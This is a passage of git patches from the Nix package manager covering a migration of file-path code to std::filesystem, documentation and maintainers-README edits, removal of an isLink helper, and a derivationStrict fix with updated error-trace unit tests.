name(baseNameOf(path.native())); struct stat st; if (fstatat(parentfd, name.c_str(), &st, @@ -416,9 +416,9 @@ static void _deletePath(Descriptor parentfd, const Path & path, uint64_t & bytes #endif } -static void _deletePath(const Path & path, uint64_t & bytesFreed) +static void _deletePath(const fs::path & path, uint64_t & bytesFreed) { - Path dir = dirOf(path); + Path dir = dirOf(path.string()); if (dir == "") dir = "/"; @@ -432,7 +432,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed) } -void deletePath(const Path & path) +void deletePath(const fs::path & path) { uint64_t dummy; deletePath(path, dummy); @@ -466,7 +466,7 @@ Paths createDirs(const Path & path) } -void deletePath(const Path & path, uint64_t & bytesFreed) +void deletePath(const fs::path & path, uint64_t & bytesFreed) { //Activity act(*logger, lvlDebug, "recursively deleting path '%1%'", path); bytesFreed = 0; @@ -478,7 +478,7 @@ void deletePath(const Path & path, uint64_t & bytesFreed) AutoDelete::AutoDelete() : del{false} {} -AutoDelete::AutoDelete(const std::string & p, bool recursive) : path(p) +AutoDelete::AutoDelete(const fs::path & p, bool recursive) : _path(p) { del = true; this->recursive = recursive; @@ -489,10 +489,9 @@ AutoDelete::~AutoDelete() try { if (del) { if (recursive) - deletePath(path); + deletePath(_path); else { - if (remove(path.c_str()) == -1) - throw SysError("cannot unlink '%1%'", path); + fs::remove(_path); } } } catch (...) { @@ -505,8 +504,8 @@ void AutoDelete::cancel() del = false; } -void AutoDelete::reset(const Path & p, bool recursive) { - path = p; +void AutoDelete::reset(const fs::path & p, bool recursive) { + _path = p; this->recursive = recursive; del = true; } diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 2bf703276..40ed82f02 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -9,6 +9,7 @@ #include "error.hh" #include "logging.hh" #include "file-descriptor.hh" +#include "file-path.hh" #include #include @@ -149,9 +150,9 @@ void syncParent(const Path & path); * recursively. It's not an error if the path does not exist. The * second variant returns the number of bytes and blocks freed. */ -void deletePath(const Path & path); +void deletePath(const std::filesystem::path & path); -void deletePath(const Path & path, uint64_t & bytesFreed); +void deletePath(const std::filesystem::path & path, uint64_t & bytesFreed); /** * Create a directory and all its parents, if necessary. Returns the @@ -197,17 +198,23 @@ void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); */ class AutoDelete { - Path path; + std::filesystem::path _path; bool del; bool recursive; public: AutoDelete(); - AutoDelete(const Path & p, bool recursive = true); + AutoDelete(const std::filesystem::path & p, bool recursive = true); ~AutoDelete(); + void cancel(); - void reset(const Path & p, bool recursive = true); - operator Path() const { return path; } - operator PathView() const { return path; } + + void reset(const std::filesystem::path & p, bool recursive = true); + + const std::filesystem::path & path() const { return _path; } + PathViewNG view() const { return _path; } + + operator const std::filesystem::path & () const { return _path; } + operator PathViewNG () const { return _path; } }; diff --git a/src/libutil/unix/file-path.cc b/src/libutil/unix/file-path.cc index 54a1cc278..294048a2f 100644 --- a/src/libutil/unix/file-path.cc +++ b/src/libutil/unix/file-path.cc @@ -13,17 +13,17 @@ std::string os_string_to_string(PathViewNG::string_view path) return std::string { path }; } -PathNG::string_type string_to_os_string(std::string_view s) +std::filesystem::path::string_type string_to_os_string(std::string_view s) { return std::string { s }; } -std::optional maybePathNG(PathView path) +std::optional maybePath(PathView path) { return { path }; } -PathNG pathNG(PathView path) +std::filesystem::path pathNG(PathView path) { return path; } diff --git a/src/libutil/windows/file-path.cc b/src/libutil/windows/file-path.cc index d2f385f50..3114ac4df 100644 --- a/src/libutil/windows/file-path.cc +++ b/src/libutil/windows/file-path.cc @@ -12,35 +12,35 @@ namespace nix { std::string os_string_to_string(PathViewNG::string_view path) { std::wstring_convert> converter; - return converter.to_bytes(PathNG::string_type { path }); + return converter.to_bytes(std::filesystem::path::string_type { path }); } -PathNG::string_type string_to_os_string(std::string_view s) +std::filesystem::path::string_type string_to_os_string(std::string_view s) { std::wstring_convert> converter; return converter.from_bytes(std::string { s }); } -std::optional maybePathNG(PathView path) +std::optional maybePath(PathView path) { if (path.length() >= 3 && (('A' <= path[0] && path[0] <= 'Z') || ('a' <= path[0] && path[0] <= 'z')) && path[1] == ':' && WindowsPathTrait::isPathSep(path[2])) { - PathNG::string_type sw = string_to_os_string( + std::filesystem::path::string_type sw = string_to_os_string( std::string { "\\\\?\\" } + path); std::replace(sw.begin(), sw.end(), '/', '\\'); return sw; } if (path.length() >= 7 && path[0] == '\\' && path[1] == '\\' && (path[2] == '.' || path[2] == '?') && path[3] == '\\' && ('A' <= path[4] && path[4] <= 'Z') && path[5] == ':' && WindowsPathTrait::isPathSep(path[6])) { - PathNG::string_type sw = string_to_os_string(path); + std::filesystem::path::string_type sw = string_to_os_string(path); std::replace(sw.begin(), sw.end(), '/', '\\'); return sw; } - return std::optional(); + return std::optional(); } -PathNG pathNG(PathView path) +std::filesystem::path pathNG(PathView path) { - std::optional sw = maybePathNG(path); + std::optional sw = maybePath(path); if (!sw) { // FIXME why are we not using the regular error handling? std::cerr << "invalid path for WinAPI call ["< store, const BuildEnvironment & buildEnvironment, - const Path & tmpDir, - const Path & outputsDir = absPath(".") + "/outputs") + const std::filesystem::path & tmpDir, + const std::filesystem::path & outputsDir = std::filesystem::path { absPath(".") } / "outputs") { // A list of colon-separated environment variables that should be // prepended to, rather than overwritten, in order to keep the shell usable. @@ -376,13 +376,19 @@ struct Common : InstallableCommand, MixProfile StringMap rewrites; if (buildEnvironment.providesStructuredAttrs()) { for (auto & [outputName, from] : BuildEnvironment::getAssociative(outputs->second)) { - rewrites.insert({from, outputsDir + "/" + outputName}); + rewrites.insert({ + from, + (outputsDir / outputName).string() + }); } } else { for (auto & outputName : BuildEnvironment::getStrings(outputs->second)) { auto from = buildEnvironment.vars.find(outputName); assert(from != buildEnvironment.vars.end()); - rewrites.insert({BuildEnvironment::getString(from->second), outputsDir + "/" + outputName}); + rewrites.insert({ + BuildEnvironment::getString(from->second), + (outputsDir / outputName).string(), + }); } } @@ -405,7 +411,7 @@ struct Common : InstallableCommand, MixProfile if (buildEnvironment.providesStructuredAttrs()) { fixupStructuredAttrs( - "sh", + PATHNG_LITERAL("sh"), "NIX_ATTRS_SH_FILE", buildEnvironment.getAttrsSH(), rewrites, @@ -413,7 +419,7 @@ struct Common : InstallableCommand, MixProfile tmpDir ); fixupStructuredAttrs( - "json", + PATHNG_LITERAL("json"), "NIX_ATTRS_JSON_FILE", buildEnvironment.getAttrsJSON(), rewrites, @@ -430,19 +436,21 @@ struct Common : InstallableCommand, MixProfile * that's accessible from the interactive shell session. */ void fixupStructuredAttrs( - const std::string & ext, + PathViewNG::string_view ext, const std::string & envVar, const std::string & content, StringMap & rewrites, const BuildEnvironment & buildEnvironment, - const Path & tmpDir) + const std::filesystem::path & tmpDir) { - auto targetFilePath = tmpDir + "/.attrs." + ext; - writeFile(targetFilePath, content); + auto targetFilePath = tmpDir / PATHNG_LITERAL(".attrs."); + targetFilePath += ext; + + writeFile(targetFilePath.string(), content); auto fileInBuilderEnv = buildEnvironment.vars.find(envVar); assert(fileInBuilderEnv != buildEnvironment.vars.end()); - rewrites.insert({BuildEnvironment::getString(fileInBuilderEnv->second), targetFilePath}); + rewrites.insert({BuildEnvironment::getString(fileInBuilderEnv->second), targetFilePath.string()}); } Strings getDefaultFlakeAttrPaths() override @@ -578,7 +586,7 @@ struct CmdDevelop : Common, MixEnvironment AutoDelete tmpDir(createTempDir("", "nix-develop"), true); - auto script = makeRcScript(store, buildEnvironment, (Path) tmpDir); + auto script = makeRcScript(store, buildEnvironment, tmpDir); if (verbosity >= lvlDebug) script += "set -x\n"; diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index cff1c7988..e932170cf 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -87,7 +87,7 @@ std::tuple prefetchFile( if (!storePath) { AutoDelete tmpDir(createTempDir(), true); - Path tmpFile = (Path) tmpDir + "/tmp"; + std::filesystem::path tmpFile = tmpDir.path() / "tmp"; /* Download the file. */ { @@ -95,7 +95,7 @@ std::tuple prefetchFile( if (executable) mode = 0700; - AutoCloseFD fd = toDescriptor(open(tmpFile.c_str(), O_WRONLY | O_CREAT | O_EXCL, mode)); + AutoCloseFD fd = toDescriptor(open(tmpFile.string().c_str(), O_WRONLY | O_CREAT | O_EXCL, mode)); if (!fd) throw SysError("creating temporary file '%s'", tmpFile); FdSink sink(fd.get()); @@ -109,15 +109,15 @@ std::tuple prefetchFile( if (unpack) { Activity act(*logger, lvlChatty, actUnknown, fmt("unpacking '%s'", url)); - Path unpacked = (Path) tmpDir + "/unpacked"; + auto unpacked = (tmpDir.path() / "unpacked").string(); createDirs(unpacked); - unpackTarfile(tmpFile, unpacked); + unpackTarfile(tmpFile.string(), unpacked); /* If the archive unpacks to a single file/directory, then use that as the top-level. */ auto entries = readDirectory(unpacked); if (entries.size() == 1) - tmpFile = entries[0].path().string(); + tmpFile = entries[0].path(); else tmpFile = unpacked; } From f83617f052d0251d32319939c2832a10e0d8cdd9 Mon Sep 17 00:00:00 2001 From: Sizhe Zhao Date: Wed, 8 May 2024 14:24:23 +0800 Subject: [PATCH 0567/1251] fix(doc/manual/src/command-ref/nix-env/install): fix typo --- doc/manual/src/command-ref/nix-env/install.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md index c1fff50e8..d80bcb668 100644 --- a/doc/manual/src/command-ref/nix-env/install.md +++ b/doc/manual/src/command-ref/nix-env/install.md @@ -50,7 +50,7 @@ The arguments *args* map to store paths in a number of possible ways: Show the attribute paths of available packages with [`nix-env --query`](./query.md): ```console - nix-env --query --available --attr-path` + nix-env --query --available --attr-path ``` - If `--from-profile` *path* is given, *args* is a set of names From 52ccaf7971b90f387d7b309c9b9dc4af25d44525 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 8 May 2024 11:29:27 +0200 Subject: [PATCH 0568/1251] maintainers: update information on team meetings (#10663) - specify meeting times in terms of a time zone rather than standard time (the first encompasses standard time changes) - add information on who can participate and how - unrelated but still important: add GitHub handle to contact the team --- maintainers/README.md | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/maintainers/README.md b/maintainers/README.md index fa321c7c0..bfa0cb5a1 100644 --- a/maintainers/README.md +++ b/maintainers/README.md @@ -36,11 +36,13 @@ We aim to achieve this by improving the contributor experience and attracting mo - Robert Hensing (@roberth) - John Ericson (@Ericson2314) +The team is on Github as [@NixOS/nix-team](https://github.com/orgs/NixOS/teams/nix-team). + ## Meeting protocol -The team meets twice a week: +The team meets twice a week (times are denoted in the [Europe/Amsterdam](https://en.m.wikipedia.org/wiki/Time_in_the_Netherlands) time zone): -- Discussion meeting: [Fridays 13:00-14:00 CET](https://calendar.google.com/calendar/event?eid=MHNtOGVuNWtrZXNpZHR2bW1sM3QyN2ZjaGNfMjAyMjExMjVUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn) +- Discussion meeting: [Wednesday 21:00-22:00 Europe/Amsterdam](https://www.google.com/calendar/event?eid=ZG5rZzNyajRjajducGV2NGY5aGkzYWIwdnJfMjAyNDA1MDhUMTkwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn) 1. Triage issues and pull requests from the [No Status](#no-status) column (30 min) 2. Discuss issues and pull requests from the [To discuss](#to-discuss) column (30 min). @@ -49,15 +51,19 @@ The team meets twice a week: - mark it as draft if it is blocked on the contributor - escalate it back to the team by moving it to To discuss, and leaving a comment as to why the issue needs to be discussed again. -- Work meeting: [Mondays 13:00-15:00 CET](https://calendar.google.com/calendar/event?eid=NTM1MG1wNGJnOGpmOTZhYms3bTB1bnY5cWxfMjAyMjExMjFUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn) +- Work meeting: [Mondays 13:00-15:00 Europe/Amsterdam](https://www.google.com/calendar/event?eid=Ym52NDdzYnRic2NzcDcybjZiNDhpNzhpa3NfMjAyNDA1MTNUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn) 1. Code review on pull requests from [In review](#in-review). 2. Other chores and tasks. Meeting notes are collected on a [collaborative scratchpad](https://pad.lassul.us/Cv7FpYx-Ri-4VjUykQOLAw). -Notes on issues and pull requests are posted as comments and linked from the meeting notes, so they are easy to find from both places. +Notes on issues and pull requests are posted as comments and linked from the meeting notes, so they are can be found from both places. [All meeting notes](https://discourse.nixos.org/search?expanded=true&q=Nix%20team%20meeting%20minutes%20%23%20%23dev%3Anix%20in%3Atitle%20order%3Alatest_topic) are published on Discourse under the [Nix category](https://discourse.nixos.org/c/dev/nix/50). +Team meetings are generally open to anyone interested. +We can make exceptions to discuss sensitive issues, such as security incidents or people matters. +Contact any team member to get a calendar invite for reminders and updates. + ## Project board protocol The team uses a [GitHub project board](https://github.com/orgs/NixOS/projects/19/views/1) for tracking its work. From ddea4c6debc96ea5c7836e3a4a98cf76179cb40b Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Wed, 8 May 2024 19:59:37 +0530 Subject: [PATCH 0569/1251] rm isLink isLink util is removed in favour of std::filesystem::is_symlink --- src/libstore/indirect-root-store.cc | 3 ++- src/libstore/store-api.cc | 2 +- src/libutil/file-system.cc | 8 +------- src/libutil/file-system.hh | 2 -- src/nix/config-check.cc | 2 +- src/nix/upgrade-nix.cc | 2 +- 6 files changed, 6 insertions(+), 13 deletions(-) diff --git a/src/libstore/indirect-root-store.cc b/src/libstore/indirect-root-store.cc index 9da05778d..082a458ab 100644 --- a/src/libstore/indirect-root-store.cc +++ b/src/libstore/indirect-root-store.cc @@ -33,8 +33,9 @@ Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _g /* Don't clobber the link if it already exists and doesn't point to the Nix store. */ - if (pathExists(gcRoot) && (!isLink(gcRoot) || !isInStore(readLink(gcRoot)))) + if (pathExists(gcRoot) && (!std::filesystem::is_symlink(gcRoot) || !isInStore(readLink(gcRoot)))) throw Error("cannot create symlink '%1%'; already exists", gcRoot); + makeSymlink(gcRoot, printStorePath(storePath)); addIndirectRoot(gcRoot); diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 008cc11e7..cefb5befd 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -54,7 +54,7 @@ Path Store::followLinksToStore(std::string_view _path) const { Path path = absPath(std::string(_path)); while (!isInStore(path)) { - if (!isLink(path)) break; + if (!std::filesystem::is_symlink(path)) break; auto target = readLink(path); path = absPath(target, dirOf(path)); } diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 03f64edc7..47251dbd7 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -94,7 +94,7 @@ Path canonPath(PathView path, bool resolveSymlinks) path, [&followCount, &temp, maxFollow, resolveSymlinks] (std::string & result, std::string_view & remaining) { - if (resolveSymlinks && isLink(result)) { + if (resolveSymlinks && std::filesystem::is_symlink(result)) { if (++followCount >= maxFollow) throw Error("infinite symlink recursion in path '%0%'", remaining); remaining = (temp = concatStrings(readLink(result), remaining)); @@ -222,12 +222,6 @@ Path readLink(const Path & path) } -bool isLink(const Path & path) -{ - return getFileType(path) == fs::file_type::symlink; -} - - std::vector readDirectory(const Path & path) { std::vector entries; diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 40ed82f02..5a0688104 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -117,8 +117,6 @@ bool pathAccessible(const Path & path); */ Path readLink(const Path & path); -bool isLink(const Path & path); - /** * Read the contents of a directory. The entries `.` and `..` are * removed. diff --git a/src/nix/config-check.cc b/src/nix/config-check.cc index f23e36fb5..9575bf338 100644 --- a/src/nix/config-check.cc +++ b/src/nix/config-check.cc @@ -101,7 +101,7 @@ struct CmdConfigCheck : StoreCommand Path userEnv = canonPath(profileDir, true); if (store->isStorePath(userEnv) && hasSuffix(userEnv, "user-environment")) { - while (profileDir.find("/profiles/") == std::string::npos && isLink(profileDir)) + while (profileDir.find("/profiles/") == std::string::npos && std::filesystem::is_symlink(profileDir)) profileDir = absPath(readLink(profileDir), dirOf(profileDir)); if (profileDir.find("/profiles/") == std::string::npos) diff --git a/src/nix/upgrade-nix.cc b/src/nix/upgrade-nix.cc index a64b6a56e..17d1edb97 100644 --- a/src/nix/upgrade-nix.cc +++ b/src/nix/upgrade-nix.cc @@ -121,7 +121,7 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand Path profileDir = dirOf(where); // Resolve profile to /nix/var/nix/profiles/ link. - while (canonPath(profileDir).find("/profiles/") == std::string::npos && isLink(profileDir)) + while (canonPath(profileDir).find("/profiles/") == std::string::npos && std::filesystem::is_symlink(profileDir)) profileDir = readLink(profileDir); printInfo("found profile '%s'", profileDir); From a5252c99794a81730b030a8fcc356e1f74537198 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 8 May 2024 11:18:17 -0400 Subject: [PATCH 0570/1251] doc: Reword scoping section "dynamic scope" is not accurate, so reword. The underlying idea is good however. --- doc/manual/src/language/constructs.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/doc/manual/src/language/constructs.md b/doc/manual/src/language/constructs.md index ad1fdfe5f..4d75ea82c 100644 --- a/doc/manual/src/language/constructs.md +++ b/doc/manual/src/language/constructs.md @@ -423,14 +423,15 @@ inline/multi-line, enclosed within `/* ... */`. ## Scoping rules -Nix has constructs with +Nix is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope), but with multiple scopes and shadowing rules. -* dynamic scope - * [`with`](#with-expressions) -* static scope +* primary scope --- explicitly-bound variables * [`let`](#let-expressions) * [`inherit`](#inheriting-attributes) * function arguments -Static scope takes precedence over dynamic scope. +* secondary scope --- implicitly-bound variables + * [`with`](#with-expressions) + +Primary scope takes precedence over secondary scope. See [`with`](#with-expressions) for a detailed example. From 081faeda8cbd3f8a14775c2d3ad0ae2a76d88673 Mon Sep 17 00:00:00 2001 From: Ivan Trubach Date: Wed, 8 May 2024 18:09:51 +0300 Subject: [PATCH 0571/1251] Forbid drvPath in strictDerivation outputs attribute builtins.strictDerivation returns an attribute set with drvPath and output paths. For some reason, current implementation forbids drv instead of drvPath. --- src/libexpr/primops.cc | 10 +- tests/unit/libexpr/error_traces.cc | 200 ++++++++++++++++++++--------- 2 files changed, 145 insertions(+), 65 deletions(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 109127d1d..6b947b40d 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1184,11 +1184,11 @@ static void derivationStrictInternal( .debugThrow(); /* !!! Check whether j is a valid attribute name. */ - /* Derivations cannot be named ‘drv’, because - then we'd have an attribute ‘drvPath’ in - the resulting set. */ - if (j == "drv") - state.error("invalid derivation output name 'drv'") + /* Derivations cannot be named ‘drvPath’, because + we already have an attribute ‘drvPath’ in + the resulting set (see state.sDrvPath). */ + if (j == "drvPath") + state.error("invalid derivation output name 'drvPath'") .atPos(v) .debugThrow(); outputs.insert(j); diff --git a/tests/unit/libexpr/error_traces.cc b/tests/unit/libexpr/error_traces.cc index 7b32b320b..be379a909 100644 --- a/tests/unit/libexpr/error_traces.cc +++ b/tests/unit/libexpr/error_traces.cc @@ -102,6 +102,74 @@ namespace nix { , type \ ) +#define ASSERT_TRACE3(args, type, message, context1, context2) \ + ASSERT_THROW( \ + std::string expr(args); \ + std::string name = expr.substr(0, expr.find(" ")); \ + try { \ + Value v = eval("builtins." args); \ + state.forceValueDeep(v); \ + } catch (BaseError & e) { \ + ASSERT_EQ(PrintToString(e.info().msg), \ + PrintToString(message)); \ + ASSERT_EQ(e.info().traces.size(), 3) << "while testing " args << std::endl << e.what(); \ + auto trace = e.info().traces.rbegin(); \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context1)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context2)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(HintFmt("while calling the '%s' builtin", name))); \ + throw; \ + } \ + , type \ + ) + +#define ASSERT_TRACE4(args, type, message, context1, context2, context3) \ + ASSERT_THROW( \ + std::string expr(args); \ + std::string name = expr.substr(0, expr.find(" ")); \ + try { \ + Value v = eval("builtins." args); \ + state.forceValueDeep(v); \ + } catch (BaseError & e) { \ + ASSERT_EQ(PrintToString(e.info().msg), \ + PrintToString(message)); \ + ASSERT_EQ(e.info().traces.size(), 4) << "while testing " args << std::endl << e.what(); \ + auto trace = e.info().traces.rbegin(); \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context1)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context2)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(context3)); \ + ++trace; \ + ASSERT_EQ(PrintToString(trace->hint), \ + PrintToString(HintFmt("while calling the '%s' builtin", name))); \ + throw; \ + } \ + , type \ + ) + +// We assume that expr starts with "builtins.derivationStrict { name =", +// otherwise the name attribute position (1, 29) would be invalid. +#define DERIVATION_TRACE_HINTFMT(name) \ + HintFmt("while evaluating derivation '%s'\n" \ + " whose name attribute is located at %s", \ + name, Pos(1, 29, Pos::String{.source = make_ref(expr)})) + +// To keep things simple, we also assume that derivation name is "foo". +#define ASSERT_DERIVATION_TRACE1(args, type, message) \ + ASSERT_TRACE2(args, type, message, DERIVATION_TRACE_HINTFMT("foo")) +#define ASSERT_DERIVATION_TRACE2(args, type, message, context) \ + ASSERT_TRACE3(args, type, message, context, DERIVATION_TRACE_HINTFMT("foo")) +#define ASSERT_DERIVATION_TRACE3(args, type, message, context1, context2) \ + ASSERT_TRACE4(args, type, message, context1, context2, DERIVATION_TRACE_HINTFMT("foo")) + TEST_F(ErrorTraceTest, genericClosure) { ASSERT_TRACE2("genericClosure 1", TypeError, @@ -1185,7 +1253,6 @@ namespace nix { } - /* // Needs different ASSERTs TEST_F(ErrorTraceTest, derivationStrict) { ASSERT_TRACE2("derivationStrict \"\"", TypeError, @@ -1197,102 +1264,115 @@ namespace nix { HintFmt("attribute '%s' missing", "name"), HintFmt("in the attrset passed as argument to builtins.derivationStrict")); - ASSERT_TRACE2("derivationStrict { name = 1; }", + ASSERT_TRACE3("derivationStrict { name = 1; }", TypeError, - HintFmt("expected a string but found %s: %s", "an integer", "1"), - HintFmt("while evaluating the `name` attribute passed to builtins.derivationStrict")); + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the `name` attribute passed to builtins.derivationStrict"), + HintFmt("while evaluating the derivation attribute 'name'")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; }", - TypeError, - HintFmt("required attribute 'builder' missing"), - HintFmt("while evaluating derivation 'foo'")); + ASSERT_DERIVATION_TRACE1("derivationStrict { name = \"foo\"; }", + EvalError, + HintFmt("required attribute 'builder' missing")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __structuredAttrs = 15; }", + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __structuredAttrs = 15; }", TypeError, - HintFmt("expected a Boolean but found %s: %s", "an integer", "15"), + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "15" ANSI_NORMAL)), HintFmt("while evaluating the `__structuredAttrs` attribute passed to builtins.derivationStrict")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __ignoreNulls = 15; }", + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __ignoreNulls = 15; }", TypeError, - HintFmt("expected a Boolean but found %s: %s", "an integer", "15"), + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "15" ANSI_NORMAL)), HintFmt("while evaluating the `__ignoreNulls` attribute passed to builtins.derivationStrict")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = 15; }", - TypeError, - HintFmt("invalid value '15' for 'outputHashMode' attribute"), - HintFmt("while evaluating the attribute 'outputHashMode' of derivation 'foo'")); + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = 15; }", + EvalError, + HintFmt("invalid value '%s' for 'outputHashMode' attribute", "15"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputHashMode", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = \"custom\"; }", - TypeError, - HintFmt("invalid value 'custom' for 'outputHashMode' attribute"), - HintFmt("while evaluating the attribute 'outputHashMode' of derivation 'foo'")); + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = \"custom\"; }", + EvalError, + HintFmt("invalid value '%s' for 'outputHashMode' attribute", "custom"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputHashMode", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = {}; }", + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = {}; }", TypeError, - HintFmt("cannot coerce %s to a string: %s", "a set", "{ }"), - HintFmt("while evaluating the attribute 'system' of derivation 'foo'")); + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "system", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = {}; }", + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = {}; }", TypeError, - HintFmt("cannot coerce %s to a string: %s", "a set", "{ }"), - HintFmt("while evaluating the attribute 'outputs' of derivation 'foo'")); + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"drv\"; }", - TypeError, - HintFmt("invalid derivation output name 'drv'"), - HintFmt("while evaluating the attribute 'outputs' of derivation 'foo'")); + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"drvPath\"; }", + EvalError, + HintFmt("invalid derivation output name 'drvPath'"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = []; }", - TypeError, + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; outputs = \"out\"; __structuredAttrs = true; }", + EvalError, + HintFmt("expected a list but found %s: %s", "a string", "\"out\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = []; }", + EvalError, HintFmt("derivation cannot have an empty set of outputs"), - HintFmt("while evaluating the attribute 'outputs' of derivation 'foo'")); + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"drv\" ]; }", - TypeError, - HintFmt("invalid derivation output name 'drv'"), - HintFmt("while evaluating the attribute 'outputs' of derivation 'foo'")); + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"drvPath\" ]; }", + EvalError, + HintFmt("invalid derivation output name 'drvPath'"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"out\" \"out\" ]; }", - TypeError, - HintFmt("duplicate derivation output 'out'"), - HintFmt("while evaluating the attribute 'outputs' of derivation 'foo'")); + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"out\" \"out\" ]; }", + EvalError, + HintFmt("duplicate derivation output '%s'", "out"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __contentAddressed = \"true\"; }", + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __contentAddressed = \"true\"; }", TypeError, HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), - HintFmt("while evaluating the attribute '__contentAddressed' of derivation 'foo'")); + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "__contentAddressed", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }", + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }", TypeError, HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), - HintFmt("while evaluating the attribute '__impure' of derivation 'foo'")); + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "__impure", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }", + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }", TypeError, HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), - HintFmt("while evaluating the attribute '__impure' of derivation 'foo'")); + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "__impure", "foo")); - 